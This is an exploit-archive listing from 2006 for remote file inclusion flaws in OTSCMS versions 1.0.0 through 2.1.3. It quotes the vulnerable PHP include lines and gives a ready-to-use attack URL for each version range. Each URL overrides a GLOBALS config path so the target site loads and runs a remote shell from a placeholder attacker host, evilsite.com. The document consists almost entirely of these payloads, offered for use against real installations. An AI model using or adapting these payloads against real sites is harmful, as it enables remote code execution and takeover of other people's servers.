[Exploit] [Remote] [Local] [Web Apps] [Dos/Poc] [Shellcode] [RSS]
# Title : OTSCMS <= 2.1.3 Multiple Remote File Include Vulnerabilities
# Published : 2006-10-23
# Author : GregStar
# Previous Title : Fully Modded phpBB <= 2021.4.40 Multiple File Include Vulnerabilities
# Next Title : SourceForge <= 1.0.4 (database.php) Remote File Include Exploit
**********************************************************************************************************
* *
* Coding 4 Fun (c4f.pl) *
* *
*************************
* OTSCMS <= 2.1.3 by Wrzasq (www.otscms.com) ;
* Class = Remote File Inclusion ;
* Download = http://sourceforge.net/project/showfiles.php?group_id=145557 ;
* Found by = GregStar (gregstar{at}c4f{dot}pl) ;
-------------------------------------------------------------------------------------------------------------------
OTSCMS 2.0.0 - 2.1.3 :
- Vulnerable Code:
require_once($GLOBALS['config']['directories']['classes'] . $class . '.php');
- Exploit:
http://[target]/[path]/OTSCMS.php?GLOBALS[config][directories][classes]=http://evilsite.com/shell?
-------------------------------------------------------------------------------------------------------------------
OTSCMS 1.3.0 - 1.4.1 :
- Vulnerable Code:
require_once($GLOBALS['config']['otscms']['directories']['classes'] . $class . '.php');
- Exploit:
http://[target]/[path]/OTSCMS.php?GLOBALS[config][otscms][directories][classes]=http://evilsite.com/shell?
-------------------------------------------------------------------------------------------------------------------
OTSCMS 1.0.0 - 1.0.3 :
- Vulnerable Code:
require_once($GLOBALS['config']['otscms']['directories']['includes'].'OTSCMSException.class.php');
- Exploit:
http://[target]/[path]/OTSCMS.php?GLOBALS[config][otscms][directories][includes]=http://evilsite.com/shell?
------------------------------------------------------------------------------------------------------------------
Gr33tz: sASAn,marcel3miasto,masS,kaziq,Abi,kociaq,RFL,d3m0n,java,kw@ch and for all friends.
**************************************************************************************************************
Notes:
Only works with php5 and 2.1.4 should also be vulnerable using OTSCMS.php with the config variable.
/str0ke
# www.Syue.com [2006-10-23]